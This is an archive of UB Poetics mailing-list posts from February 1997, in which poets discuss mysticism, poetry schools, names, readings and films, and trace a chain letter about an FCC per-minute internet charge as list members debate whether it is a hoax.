julian and cloud author were deep inspirations in college...do they address "performance" in the sense of glossolalia? seems more a private, inner experience then narrated for others...diff possessions wd, it seems, be inflected by diff cultural traditions. i used one of julian's sentences (i prayed to feel what it wd be like to actually die...or something like that) as an epigraph for a novella i wrote some time back, in grad school, that's been sitting in a closet cuz the first scene needs to be "tightened," according to the writing group i was in a few years ago.

In message <[redacted]> UB Poetics
discussion group writes:
> since ms. moriarty mentions margery kempe and robert gluck's
> very good and at times sublime re-imagining of kempe --
>
> julian of norwich's writings, what are called =revelations of
> divine love=, are often marvelous, particularly in her
> measuredly ecstatic jesus-visions, her desire to "one" with
> god, and her revelation about the meaning of the lord and the
> servant parable (in the long text).
>
> and see =the cloud of unknowing= and its (unknown)
> author's talk of the "sharp dart of longing love" etc.
>
> and with all the talk of freud, how about andre breton's
> =communicating vessels=, with its contention that dreams and
> writings are =predictive= forces, oracles of the future, rather
> than psychologically =descriptive= ones?
>
> lisa s.
>

↑ Index

277. aerialedge
Fwd: Internet Taxation
Fri 7 Feb 1997

Forwarded message:
From: [redacted] (Jackson Mac Low)

To: [redacted]
Date: 97-02-07 15:47:53 EST

>Return-Path: [redacted]
>From: [redacted]
>Date: Fri, 7 Feb 1997 01:55:09 -0500 (EST)
>To: [redacted], [redacted], [redacted],
> [redacted], [redacted], [redacted],
> [redacted], [redacted],
[redacted]
>Subject: Internet Taxation
>
>Hi,
>
>I received the following mail and thought that it would be of interest to
>everyone if you hadn't alredy heard.
>
>Keep in mind that the deadline is Feb. 13th.
>
>-Peter
>
>> Hi from Tim (Badge) on IRC Cops I am writing you this to inform you of a
>> very important matter currently under review by the FCC. Your local
>> telephone company has filed a proposal with the FCC to impose per minute
>> charges for your internet service. They contend that your usage has or
>will
>> hinder the operation of the telephone network. It is my belief that
>> internet usage will diminish if users were required to pay additional per
>> minute charges. The FCC has created an email box for your comments,
>> responses must be received by February 13, 1997. Send your comments to
>> [redacted] and tell them what you think. Every phone company is in on
>> this one, and they are trying to sneak it in just under the wire for
>> litiagation. Let everyone you know here this one. Get the e-mail address
>to
>> everyone you can think of.
>>
>> [redacted]
>>
>> Please forward this email to all your friends on the internet so all our
>> voices may be heard!
>>
>> Jim Cashatt

>
>

Jackson Mac Low

[redacted]
Tel/Fax [redacted]

↑ Index

278. **Miekal And**
ero-text
Sat 8 Feb 1997

While at Maria Professorina's house amid her massive library (including piles of books by many people on this list) I came a cross a hot little erotic collaboration between Bob Harrison & Dodie Bellamy. Titillating at least, Id like to see if there was a way of getting ahold of it, (title & publisher have slipped my mind, but Ive retained some of the graphic text, no surprise!). In particular Id like to see if I could trade a copy of Lyx's & my 1982 collaboration EROTIC LOGIC, which is similar in spirit tho perhaps more languagey.

have safe eroticatalia,

mr miekal

↑ Index

279. **F.A. Templeton**
Re: Categories
Sat 8 Feb 1997

If bookstores have categories within poetry, who'll decide who goes where? St Mark's shunted my YOU-The City around the store so that nobody could ever find it and then didn't restock on the basis that nobody looked for it. Was someone watching?

How about an impure category?

Fiona

↑ Index

280. **David R. Israel**
more re: Fwd: "New rules on internet access"
Sat 8 Feb 1997

Esteemed Listserv Denizens --

Yesterday, I posted to you'all (SAasiaLit & Poetics lists) information I'd received from another listserv regarding some alleged current legisilation that could lead to new charges for internet use.

According to new info received today, that earlier message was a mere hoax. I'm a gullible guy.

Presuming this new info is in fact legit -- my humble apologies.

yours,
d.i.

p.s.: see the appended for details

p.p.s.: I tried to take a look at the EFF homepage & see about verifying the "mythical" character of the alleged FCC deal, but frankly lost patience w/ the download. (Maybe I'll look later.)

------- Forwarded Message Follows -------
Date: Sat, 8 Feb 1997 11:23:14 -0800
. . . .

Dina, you ninny,

This is one of the urban myths of the Net, a variant of the Modem Tax. It's a hoax, to coin a term. [This fellow says that, seems, bec. I'd invented the term "joax" -- cross between a hoax & a joke. - d.i.]

Any concerns about Net access and 1st Amendment rights can always be checked out thru the Electronic Frontier Foundation:
http://www.eff.org

They're a super organization, and their web pages are clearly organized. Tons of useful info, the best library there is regarding any online issues.

I'd hate to be at that e-mail address, if it's a live one.
. . .
[etc.]

↑ Index

281. Wendy Battin
'names are not double,' school objects
Sat 8 Feb 1997

Missed a few digests, please forgive any redundancy.

--Steven Marks: Pleased to meet. I'm over in Mystic, but close enough. Re "the zone idea of Jed Rasula," I wonder if categories like that have to be posthumous to be accurate. (As I recall, Rasula was looking at marketing rather than

making.) Wonder also, as a serial refugee & stateless poet, if all the random collisions on the internet can unhinge the school/ tribal impulse. Or is it just hard-wired into primates? At some gut level my working model of cyberspace seems to be The Zone from _Gravity's Rainbow_.

--If your name's clunky enough it's likely to be singular. I haven't discovered any other Wendy Battin. (Welsh for "dweller under the sign of the bat," I gather, & assume my forebears were pub keepers rather than witches or guano-farmers.)

--Ron: Loved "Sheltering Sky," and that might have been part of my dissatisfaction w/English Patient, which seemed empty & clock- workish, and a slow clock too. (Talking about the movie, not the book.)

--Multiple Miekal, let me know if you're interested in contributing
to the Multiple Poetics Project,
http://www.geocities.com/SoHo/Lofts/5471

Wendy aka others

"It is not the crocodile's job to yell "Watch out for the
crocodile!"--Henri Michaux

↑ Index

282. Alan Jen Sondheim
grand larceny
Sat 8 Feb 1997

(Stolen style producing traditional poem or real poem. Jennifer.)

magic

a text, one of several thousand
hopeless, eh
sometimes i close my eyes and think ill never have to open them again
blindness can pervade every organ
thinking off lamps going out all over europe
my writing is my hell
disentangled from the matrix that produces it as if there were a nipple
were in the middle of this black bleak space
were there for example downing aircraft
were there driving out villagers by means of ravaging floods
deprivations cholera foodstuffs disappearing like the banks
droughts nuclear devastations reservoirs of viral technologies
it might be a single o cross of t dot on i or j

as if id be dead when you reached the end of this sentence
ill be dead when you reach the end of this sentence
fooled you
cant fool you for long can i
were there firestorms over forests and cities
firestorms across the plains radiations everywhere
third arm breaks out through my chest third eye closes for the last time
legs wilt it wont be long now my last prediction
brakes are on
cars in reverse embankment looms
downhill looms in the middle very middle of the air very air
im holding on that o or cross of t dot on j or i
its down there fiery black of the screen death white of the screen
sucking sucked away lips bared teeth against one or another bitter letter
hopeless eh
should have dropped out years ago
letter clanks at the bottom of the page theres no bottom no sound
hallucinations setting in schizophrenias schizzing
jagged x across the chest eyes mouth ears
didnt fool you this time did i
cant keep this up forever

↑ Index

283. Brigham Taylor
Baraka/DuBois
Sat 8 Feb 1997

I caught the PBS show on DuBois. It was in 4 parts, and conceived/produced/overseen by Bambara; however each part was written and narrated by a different person. The last part was by Baraka, and it dealt with DuBois's radicalism in the face of McCarthy and the Cold War. It was excellent: clear, piercing, exceedingly moving. At the end of the credits was an IMO for Bambara, which was the first I'd heard of it as well. Brigham

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284. Christopher Alexander
per-min email charges
Sat 8 Feb 1997

just an update on the earlier post regarding
per-minute charges for email use. I sent to
the FCC & rec'd this reply. c.

------- Forwarded Message Follows -------
Date: Fri, 07 Feb 1997 16:34:04 -0500
From: ISP <[redacted]>
To: [redacted]
Subject: service charges -Reply

This is an automated response to the message you sent to [redacted]. Thanks for taking the time to write. We have established this mailbox for informal comments about usage of the public switched telephone network by Internet access and information service providers. More information on this subject is available at <http://www.fcc.gov/isp.html> We appreciate your input. This mailbox is th FCC point of contact for informal e-mail comments on this proceeding, so you do not need to send copies of you

Look for more features and announcements on our Web site,
<http://www.fcc.gov/>, in the future!

..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

↑ Index

285. **linda v. russo**
Re: Names are not Objects
Sat 8 Feb 1997

> *what's in a name?*

for no other reason than to jump in after a long absence:

dad named me linda after an old girlfriend, this bit of news shared apparently for this first time in my parents' 30+ yr marriage over thanksgiving dinner a few years ago

The v. stands for valerie -- mom's pick -- was my babush's name

my babush on the other side of my family is my nunna,
mary fudge as maidennames go -- was fruggi before they
got to immigration

my greatgreatgrandparents on my father's grandfather's side
were both love children & so orphans -- so
my last name anyway isn't my last name really

i have an uncle yosh

--
linda v. russo
[redacted]

↑ Index

286. **linda v. russo**
Re: notley/epic
Sat 8 Feb 1997

>
> also dont forget to check the Talisman back list--there's an issue on
> Notley back there somewhere I know. Linda knows which one. Linda?
>
It's number One. Fall 1988 avail. for $5 unless i bought up the last
one. There's a great interview in there, somewhat of an epic at 11.5
pages, somewhat related to epic inquiries, perhaps. There's a good
bit of autobio which is very interesting and entertaining, as one
would expect. & Notley talks about line length and how you know
when a poem is over, which is "well, you know when it's over when it's over."

is that how you know when an epic's over?
--
linda v. russo
[redacted]

↑ Index

287. **linda v. russo**
Re: poetry "schools"
Sat 8 Feb 1997

A very interesting addendum to a very interesting parallel:

as recently as 7 months ago i lived in boston & heard tell that the Grolier Poetry
Bookshop's langpo section was the fastest moving in the store -- also, there was

some crossover when the # of copies allowed: i remember specifically that Michael Palmer was cross-sectioned. (sounds painful!)

& while i'm in the area let me express my sincere sense of shame twds harvard sq for destroying the only decent place to sit down at 3 am & get a laugh out of the redline menu (basicly one item: bacondoublecheeseburger) & talk to a bunch of people that'd you'd maybe see around and never even think to see.

A very interesting parallel to what you-all are doing: in the 1980's I
> lived in Boston; the famous poetry bookshop Groliers had a good selection
> of LangPo books & chapbooks; but they had them on a separate shelf
> labelled (literally) "Language Poetry." Now on the one hand many area
> poets thought that was an absurd ghettoization intended to keep this
> stuff (which somehow wasn't real) from infecting the rest of the 15,000 or
> whatever volumes in the store. ALL the rest, you see, were in a single A
> to Z sequence. On the other hand, several young poets I knew found this a
> useful way to find out who & what LangPo was, when they hadn't had direct
> contact with anyone who could tell them; and while they saw in principle
> what was wrong, the arrangement helped them at a crucial point of
> exploration...

> Mark P.
> Atlanta
>
--
linda v. russo
[redacted]

↑ Index

288. **Jordan Davis**
brushback beanball hbp
Sat 8 Feb 1997

Bill you could get yourself called Luis Tiant instead of mazeroski (or mazilli) doing that
--it's great to play for a wiener-- J

On Thu, 6 Feb 1997 [redacted] wrote:

> *he*
> *and his boyfriends, so called alternative comics (mark marron, todd berry, dave atell), would sometimes try to make their audiences walk by being intentionally unfunny and/or sick and they would count the number of people who left. i've been influenced to think that to walk the audience at a poetry reading would be well the best thing you could do.*

> *bill*

↑ Index

289. **Jordan Davis**
Matewan Defense etc
Sat 8 Feb 1997

---

hopping on the matewan wagon.. that and city of hope are two of the few movies I can stand to think about.. maybe I just have unresolved feelings for James Earl Jones? Sayles isn't perfect but he was independent before that got anybody anywhere, also he plays mean softball

address lookups are easy with www.[redacted].com

Toni Cade Bambara died in 1996, I believe ..

Jordan

↑ Index

290. **Wendy Battin**
question
Sat 8 Feb 1997

Anyone noticing the transparency of the net & web? ie, how all creative problems reduce almost instantly to the techne? This isn't a question about the depth of work & the surface of presentation; more, I guess, it's about doing away with the publisher, and how that throws design & formal issues back to the writer.

Wendy, who has obvious fondness for the obvious, where everything's hidden

---
Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html
Multiple Poetics: http://www.geocities.com/SoHo/

↑ Index

291. **Gabrielle Welford**
Uh oh! More Cyberproblems! (fwd)
Sun 9 Feb 1997

---------- Forwarded message ----------
From: T.J. Glasscock, 76563,530

Hello All,

A friend just forwarded this to me -- seems the phone companies can't bear the possibility of letting a chance for exploitation slip away.

---------- Forwarded Message ----------
[headers deleted]

> Please let the FCC know your feelings on this one. I realize you may have
> received it before but wanted to make sure to let everyone know. The contact
> info for the FCC is at the bottom. Also pass it along to others.
>

> *I am writing you this to inform you of a very important matter currently under review by the FCC. Your local telephone company has filed a proposal with the FCC to impose per minute charges for your internet service. They contend that your usage has or will hinder the operation of the telephone network.*
>
> *It is my belief that internet usage will diminish if users were required to pay additional per minute charges. The FCC has created an email box for your comments, responses must be received by February 13, 1997. Send your comments to [redacted] and tell them what you think.*
>
> *Every phone company is in on this one, and they are trying to sneak it in just under the wire for litigation. Let everyone you know here this one. Get the e-mail address to everyone you can think of.*
>
> [redacted]
>
> *Please forward this email to all your friends on the internet so all our voices may be heard!*

↑ Index

292. Robert Archambeau
Re: poetry "schools"
Sun 9 Feb 1997

Sorry to join this discussion late -- just got my e-mail back after a three-day technical meltdown and a trip out of town.

I think it was Isaiah Berlin who said that the world was composed of two two kinds of people: those who divide the world into two kinds of people, and those who don't. I propose a division of poetic schools along the same grounds -- we could divide poets into those who divide poetry into schools and those who

don't. I suspect the latter group would contain most of the poets I find most interesting.

Robert Archambeau

↑ Index

293. Herb Levy
Clothes Make the Man
Sun 9 Feb 1997

Dear Mr Bromige,

I am writing to you in your capacity as resident fashion consultant and haberdasher to the poetics list. I'll be in New York later this week (on my way to Texas) & thought I'd go to hear Kathleen Fraser & Charles Borkhuis read at the Ear on Saturday, but I'm unsure how to dress for the occasion.

I mean, I'd hate to show up in my usual Seattle grunge attire only to find that the NY scene has moved onto retro-Victorian-Beatnik clothing or some such.

At the very least I need to know whether to wear my baseball cap with the visor over my face or over my neck. Do you have a long-range forecast for this accessory that's good through next weekend? I hope I'm not expected to wear the visor to one side or the other at a jaunty angle. I really hate that.

Please advise (& don't let anyone know I've asked for you counsel in this matter. People like Bowering can be so cruel sometimes.)

From one basement to another, all the best,

Herb

Herb Levy
[redacted]

↑ Index

294. KYLE CONNER/LRC-CAHS
Re: Bandit Queen
Sun 9 Feb 1997

Eliza- I think you're right in identifying the source of the *feel* of violence in a rape scene as deriving largely from the gaze of the camera, i.e., a rape scene filmed from POV of the rapist or anyone looking over the rapist's shoulder as opposed to POV of one who is raped. Any view outside that of the victim has the potential to be an exploitative and oppressive one, and yes, this could be considered a "male" gaze, even if the rapist were a woman (since historical male-domination of females has saturated every level of society, so this gaze

can be appropriated for a female character co-opted in a male structure or by a female director in same structure--has Penny Marshall filmed a rape scene yet?). Hollywood has a particularly dreadful record of this kind of exploitation. There is a particularly reprehensible scene in the film "Strange Days" where a rapist wears a device which allows him to experience the emotions of whomever he hooks it up to. He proceeds to enter a woman's apartment, sedate her with a taser, rape and strangle her while experienceing her own experience of this vicariously. The whole scene is shot from his perspective, and is relentlessly, nauseatingly vicious-- I think you could even see the outline of his facemask around the edges of the frame. In essence, the viewer is forced to assume the viewpoint of the rapist--to BECOME the rapist, and either to accept tacitly the act, or, short of leaving the movie, fight against this positioning, which I did by looking away. The scene is completely unsympathetic to the woman and clearly pruriently sadistic in its intention. Isn't it great to know that Hollywood largely espouses the oppression of women? And here we thought things were beginning to equalize somewhat between the sexes. The important thing is to be aware that this kind of crap and attitude is STILL out there and to resist or fight against it any way one can.

-Kyle Conner

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295. Dan Raphael Dlugonski

names are not

Sun 9 Feb 1997

---

al my writing and performance is done as dan raphael. my original last name of dlugonski (dwoo goyn' skee) seemed too wierd. my original middle name, raymond, got transformed first, moving to raphael because of readings in kaballah and such i was doing, and coz raymond was my dad's name, and we werent on friendly terms at the time. dan raphael is a year and a month older than dan dlugonski; his middle name is ambrose.

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296. Alan Jen Sondheim

the texts, Jennifer pleading isolation and poverty

Sun 9 Feb 1997

---

to explain to Poetics - why I send poems/texts to this list - and that poetry is expensive.* I haven't been able to buy such (I am not working towards definition here) for years (sometimes 2nd-hand); I stopped around the time I found out I couldn't afford Susan Howe, who I read in Segue's stockroom (or Roof's). Nor am I published by any poetics/literary press, not having contacts (which is a

matter of the social, something I fare poorly at). So that here there is a loosening of literary institutions, allowing a different/difficult form of dissemination. That there is no forfeit on anyone's part in the reading/writing/deleting.

Which also depends on balance, the swerve of it. A sensitivity. And to the current state of threading/weaving. So such writing is a flesh in the pan, not stance of noise/introjection, an other's way of mistressing theory. Which is why I felt compelled

(Jennifer)

*we should think of this, the _economics_ of reading; nothing is free, nothing, in my world.

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297. Maria Damon (Maria Damon)

Re: names of the dead

Sun 9 Feb 1997

thanks for the info aldon, wahneema being an old grad school mate of mine... essex died quite a while ago, didn't he?--md

> *We Danish-Afro-Baptist-LapsedCaucasian-Nebraska Urbanites name our children after the not yet born --*
>
> *Maria -- Sorry to be the bearer of bad tidings -- Thought you already knew -- Bambara died last year -- There was an MLA session on her work chaired by Wahneema Lubiano -- and there has just appeared a collection of her previously uncollected works -- I was never a huge fan of her writing (though I LOVE still the title "Gorilla My Love") -- but Bambara herself was a wonderful person --*
>
> *From the what's in a name desk -- Here at San Jose State the university book store has recently set up sections marked "African-American Interest," "Native-American Interest" etc -- Naturally, they have filed the books of Toni Cade Bambara in the "Latin American Interests" section --*
>
> *Around the same time I received word that my old college mate Essex Hemphill, who published one of my first sorry poems in his journal _Nethula_, had died of AIDS -- Not long afterward I was told by a "scholar" in Los Angeles that the British author Essex Hemphill had passed away -- When I told him Essex was from DC, he said that he must have made the mistake because he'd seen Essex in a film by Isaac Julien -- but of course the film he had in mind was made by Marlon Riggs -- Hard to keep those Anglo-Afro-American-Gay-Writer-Filmpeople straight, eh?*

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298. **Bil Brown**
Re: per-min email charges
Mon 10 Feb 1997

This seems to be the FCC's reply to the current thread, via thier web-page:

<<Internet Access & Information Service Provider NOI

The NOI seeks comment on whether the FCC should, in addition to access charge reform, consider actions relating to the implications of information service and Internet access provider usage of the public switched network. In particular, in light of concerns raised over congestion on the public switched network, the Commission seeks comment on how it can most effectively create incentives for the deployment of services and facilities to allow more efficient transport of data traffic to and from end users.

The Commission made no specific proposals, but tentatively concluded that providers of information services (including Internet service providers) should not be subject to the interstate access charges that local telephone companies currently assess on long-distance carriers.

Comment Date: February 21, 1997
Reply Comment Date: March 24, 1997>>

Just thought everyone wd like to know. It is tentively in the recycle bin... the FCC will not charge service providers, this seems to mean that service providers are exempt, meaning that we will prolly be exempt (I know a few ppl working as service providers and they are just like us... they just have a T1 or so...).

Bil Brown

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299. **Mark Wallace**
the future of an illusion
Mon 10 Feb 1997

I know the original impetus for this is some time ago now, but I noticed some posts several weeks back were arguing that any truly effective poetry in the present moment would transcend the supposed "limits" of a poetry oriented to the page by 1) involving other media 2) becoming more performative, and thus more "entertaining" to an audience who is tired of watching poets flip pages and mumble through their readings. There's really crucial work being done in multi-media work and performance art, many by people on this list (Miekal And may not be in any language poetry anthology, but anyone at the Writing From The New Coast conference in Buffalo 1993 has never forgotten Miekal's

performance/visual art/ poetry, as just one for instance). But I do think, however, that statements to the effect that poetry somehow MUST mutate in some direction or other actually end up doing a disservice to the range of work that's actually happening.

It is, I suppose, a fantasy to imagine a circumstance in which poets might be taken by more than a small group of people as individuals who have GOOD REASONS FOR DOING THE THINGS THEY'RE DOING--but obviously, all sorts of poetry arises from intellectual and other kinds of notions that can be found suspect. Nonetheless, when I hear statements to the effect that "poetry must become this and that in order to remain viable in a culture of this or that kind, etc" I can't avoid thinking of the ways in which exploration in poetry both remains under the thumb of this kind of pronouncement, but also the ways in which poetry refutes such judgements, renders them often just so much table-pounding. I'm afraid that I think that all such statements as "only this kind of work will be legitimate in the future" simply CAN'T be true--the value of making such statements seems often little more that the desire to assert that one's own questions are the ones that matter, unless you can imagine someone saying that poetry must move in a direction that they themselves are not practicing. The point I'm trying to make, I think, is that the creative mind can continue to work in all sorts of mediums, as long as self-awareness remains about the historical and material conditions of those mediums. Is there anyone who REALLY imagines that there will be a point in time when no creative poets think of the page as a usable medium. Is it not more likely that the moment a whole culture determined that a page had no value, one poet or maybe even more would begin using the page again?

Obviously, the performance/visual aspects of poetry enable much variety of artistic practice, and much opportunity for "hybrid" or other kinds of non-singular media forms. But I think it's important that this complexity should NOT be reduced to the idea that poetry somehow needs to be more ENTERTAINING. I find poetry entertaining often, sometimes even poetry I don't like that much, but THERE'S NO SHORTAGE OF ENTERTAINMENT IN CONTEMPORARY CULTURE, and the hegemony of the "entertainment industry" is playing a major role in the contemporary disenfranchisement of broad areas of human communities. Will the person going to a poetry reading looking to be entertained be DISAPPOINTED? In some cases I'd like to say "let's hope so--the poetry wasn't written to entertain." I don't mean that a poetry reading should be BORING--I mean that values other than entertainment are at stake, and the person at a poetry reading who's disappointed because they're not entertained is, perhaps unintentionally, imposing the values of capitalist entertainment hegemony on an art form that does not intend to be restrained by those values.

The idea that poetry "must move in this or that direction" certainly bears a great deal of responsibility for the modern notion of the poetry school, and "schools" of poetry are by no means a negative phenomena, since they can allow groups of similarly interested writers to form networks and communities that enable their writing to reach others in ways it otherwise wouldn't. The conviction that poetry "must" move a certain way can often be an incredibly generative basis for the creation of new work. "Schools" have their negative aspects also--the inevitable exclusion of certain "marginal" figures, however determined, being one of the most obvious, as well as the tendency to dismiss other "schools" of work without a full examination of their concerns. My own sense is that some "schools" do need to be at least critiqued, if not dismissed--I DO have a problem with neo-formalism in a way that Steven Marks perhaps does not. I agree with Joe Amato, though, that the writer who claims to be a "free player" (I'm not a member of anything but my own authentic practice!) probably is not recognizing the way group interaction has helped form his or her aesthetic. But the problem, again, of telling poets what they MUST do, or of dictating what poetry MUST be, is that poets seldom do what others tell them they must, and almost always what their own sense of their work tells them they "must," if one could put it that way.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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300. Daniel Bouchard/College/hmco

fyi: transcendental dead

Mon 10 Feb 1997

Groundwater pools in the valley separating the ridge where Daniel Chester French "rests" from the rocky hill holding the rest of Hawthorne, the Thoreau family, Emerson and the Alcotts. William Ellery Channing has a newer headstone than the rest, but we forget who he is (was). The ice in that valley is thick enough to skate on. That would be disrespectful. And we have no skates with us.

[redacted]

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301. **Mark Wallace**

Dlugos reading (fwd)

Mon 10 Feb 1997

---------- Forwarded message ----------
Date: Mon, 10 Feb 1997 09:33:31 -0500 (EST)
From: MARTINA DARRAGH <[redacted]>
To: [redacted]
Subject: Dlugos reading

ANNOUNCEMENT:

Ruthless Grip Art Project (1508 U Street, NW, Washington DC) will be the site of a book party and reading on March 8, 1997 at 7:30 PM, to celebrate the publication of Tim Dlugos' Powerless: Selected Poems 1973-1990 (London and New York: High Risk Press, 1996, 115 p.). Powerless was edited by David Trinidad and introduced by Dennis Cooper, two poets who acknowledge the influence of Dlugos' work and life on their own writing/lives and on that of a wide variety of writers and artists across the country. The poems in the collection are arranged chronologically in three sections: work published while he was alive (some of which was written while he lived in Washington, DC), poems from Strong Place (published in New York in 1992 by Amethyst Press, which ceased publishing/distributing books soon thereafter), and the manuscript he compiled shortly before his death from AIDS in 1990. This last section includes the poem "G-9", named for the wing devoted to caring for people with AIDS at St. Luke's - Roosevelt Hospital in New York City. A copy of "G-9" has been "enshrined" at that hospital as a special memorial, and has been anthologized widely. Dlugos, who for a time lived at a Christian Brother novitiate near Philadelphia, was studying to become an Episcopalian priest at the time of his death. As David Lehman said in a review of Powerless published in the Washington Post Book World last December, "[Dlugos] wrote with heartbreaking grace about his illness and impending death." This grace was the grounding of Tim's life as a whole, what Cooper calls in the introduction "his ravenous fascination with the innumerable ways in which grace could be represented through artfulness."

The evening will feature a reading of Dlugos' work by local poets and writers including Bernard Welt, Beth Joselow, Richard McCann, P. Inman, and Lynne Dreyer. Copies of Powerless will be available for purchase (checks preferred). There is no admission fee.

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302. Miekal And
The tracts, Jennifer perusing invocation and projection
Mon 10 Feb 1997

Alan Jen Sondheim wrote:
>
> to explain to Poetics -

what category can anthologies stick you in alan?

why I send poems/texts to this list -

a leg over & into

> *and that*
> *poetry is expensive.**

trading works ifn you know the right people

> *I haven't been able to buy such (I am not working*
> *towards definition here) for years (sometimes 2nd-hand);*

Do you have kids, Alan. Having kids & buying poetry dont go hand in hand. There's needs & then there's poetry.

> *I stopped around*
> *the time I found out I couldn't afford Susan Howe, who I read in >Segue's*
> *stockroom (or Roof's).*

Brother, do have a

> *Nor am I published by any poetics/literary press,*
> *not having contacts (which is a matter of the social, something I >>*
> *fare*
> *poorly at). So that here there is a loosening of literary*
> *institutions,*
> *allowing a different/difficult form of dissemination.*

Alan, we will publish you in a minute, but then maybe we arent a poetics/literary press either

> *That there is no*
> *forfeit on anyone's part in the reading/writing/deleting.*

backspace. caution! remark?

> *Which also depends on balance,*

dogeared, rehearsed equiliberated

> *the swerve of it.*

arc is described by velocity

> *A sensitivity.*

reading thru reading

> *And to the*
> *current state of threading/weaving.*

in hypertext, the word clicked on should dissolve/explode/fade into its destination

> *So such writing is a flesh in the pan,*

"I found my epik in the dumpster" not an old cowboy song not heard while riding a greyhound

> *not stance of noise/introjection, an other's way of mistressing theory.*

here Alan, I hafta disaggree, refer to my hypertext POLYNOISE whose premise is that noise is the most unused resource on this planet & as such an abundant & necessary expanding edge

> *Which is why I felt compelled*

Which is why I felt comspellingly trilled

> *(Jennifer)*
>
> **we should think of this, the _economics_ of reading;*

or me thinking of how many lifetimes Ive put into networking, writing letters, pasting stamps on envelopes, waiting in line at the post office, spending all my extra money for postage...

> *nothing is free,*
> *nothing, in my world.*

ya get out of it
what ya put in to it

miekal

on the occasion of longtime friend & lover, Jennifer, visiting today.

--
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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303. **maria damon**
Re: Prevallet address?
Mon 10 Feb 1997

---

i cant tell you kristen's address, but those of you who know her, please suggest to her that she become a member of the National Writers' Union. they handled a grievance case of mine that involved somewhat similar issues and they were exemplary in their helpfulness. i feel satisfied with the resolution i got from the publisher, who had (as you may recall) solicited an essay of mine for publcation, dropped the essay without tellng me, and lifted material from it for their (uncredited) backcover promotional material. maria d

In message <[redacted]> UB Poetics discussion
group writes:
> anyone know how to reach Kristen Prevallet? i'm trying
> to clear up the story about her work in Brenda Knight's
> _Women of the Beat Generation_. the editor at conai
> press was most unhelpful.
>
> lbd
>

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304. **Aldon L. Nielsen**
Re: Knight Matters
Mon 10 Feb 1997

LBD -- I'm told that Knight is not only a Conari author, but also an employee -- This may account for responses people get when they raise this issue with the press -- Finding that talks were underway to have her at San Jose State in the Fall (along with several people who write their own words), I made copies of the relevant texts and passed them along to El Supremo -- We'll see what transpires --

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305. **maria damon**
Re: On the confusion of names
Mon 10 Feb 1997

In message <[redacted]> UB Poetics
discussion group writes:
> I can't vouch for the truth of what follows, but I did read it somewhere
> once upon a time. It seems that until the mid-nineteenth century there were

> no family names in Norway--everyone was Lief Ericsson or Eric Liefsson or
> Jon Jonson (sorry about the spelling). The Norwegian powers that be declared
> that everyone had to choose a last name--and everyone did (I think it was
> male heads of households who decided)--they chose the names they already
> went by. So there were an awful lot of Jonsons and Ericssons and Olsons.
..
as a halfDane i can vouch for this. my parents got a lot of humorous mileage
out of an article in the Dentists' Journal of Denmark authored by Pedersen,
Pedersen, Pedersen, Pedersen and Pedersen. as indicated, my cousins and
relatives names are larsen, thomsen, frederiksen, rasmussen, etc.

My guess is that there are
> Jewish families with copies of this document hanging over the fireplace,
> unaware that it was lifted from some minor Junker noble whose family motto,
> if translated from Latin or Gothic, probably means: Who'd you call Jewish?

i like this. i've often whondered what i'd find if i went to the mormon
geneaological database; would they know that damon had been diamond and
that
consequently i have no related damons to my name? or would they hook me up
with
the mayflower damons?
>

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306. **David Israel**
Re: Fwd: Internet Taxation
Mon 10 Feb 1997

Chapter 3 (or, post #3) re: internet-charge issues, from me --

#1 said, this is evidently a real issue,
#2 said, hmm, I'm told it's bogus; so,
the #3 say -- oops, looks like it is real.

(the mountain is a mountain ;
the mountain isn't a mountain;
the mountain is a mountain -- sorta ?)

Rec'd this today:

<<< Dina's recent alert about phone bills possibly going up in the future seems
to have validity, despite another's reply that the report was a hoax.

Early this morning on C-Span I saw the delayed telecast of a
speech made at the National Press Club on February 4. Robert

Allen, CEO of AT&T was asked about all the phone traffic due to online time. He said that the telephone industry was looking at that, for it "doesn't make much sense" not to charge customers more than a just a flat rate if their phone line is open for hours. Some new rate structure based on usage seemed to be the only fair thing, he thought. "The industry is looking at that."
>>>

Also have noted Jackson Mac Low (via Rod Smith) & others on this ...

just to say, sorry (etc.) for confusion -- looks real after all.

d.i.

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307. **raea100900**
Re: for db: initializing, establishing, and authentication
Mon 10 Feb 1997

Dear Rachel,

Sorry to send this message through the list, but I've tried to answer you twice and my "system" keeps telling me something on the order of "Don't go there!' It really said that Mail cannot be sent there" once. So anyway, just thanks for forwarding that post from Stephen Burt. Interesting.

Rae Armantrout

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308. **Charles Bernstein**
List Service Problems
Mon 10 Feb 1997

The University at Buffalo mail server has not been operating this weekend due to a hardware failure of some sort and this has caused a disruption of the Poetics List mail.

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309. **Mark W Scroggins**
Re: the future of an illusion
Mon 10 Feb 1997

Mark-- good comments there, on the whole, & thoughtful, tho I'm put off by a curious strain of neo-puritanism implicit in your dismissal of "entertainment" value in poetry readings--yes, there is plenty of entertainment out there wherever one turns, but I'm not convinced a human impulse to be entertained is

necessarily a product of capitalism (tho certainly our culture's saturation in entertainment has something to do with late capitalism). How would you react were one to replace the word "entertainment" in your post with the word "pleasure"? I guess I'm just registering suspicion that we seem to be rejecting the fun half of Horace's pleasure & instruction. Best, Mark

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310. David Kellogg
Rasula and poetry zones
Mon 10 Feb 1997

Pardon the lengthy description of my own work. I post this here because it is relevant to the discussion, and also because I'd like to hear from folks who object to my account, so as to strengthen it. So here goes:

Although I find Rasula's account of the four "zones" of poetry compelling, Joseph Lease and Forrest Gander rightly point to problems with zones as an operative category. Assigning particular poets to one or another zone is only one of these problems. There are always exceptions, such as Lauterbach and Gander himself, and the New Formalism seems, as Lease pointed out, a blip on the poetic horizon, fast becoming (if it hasn't already become) insignificant.

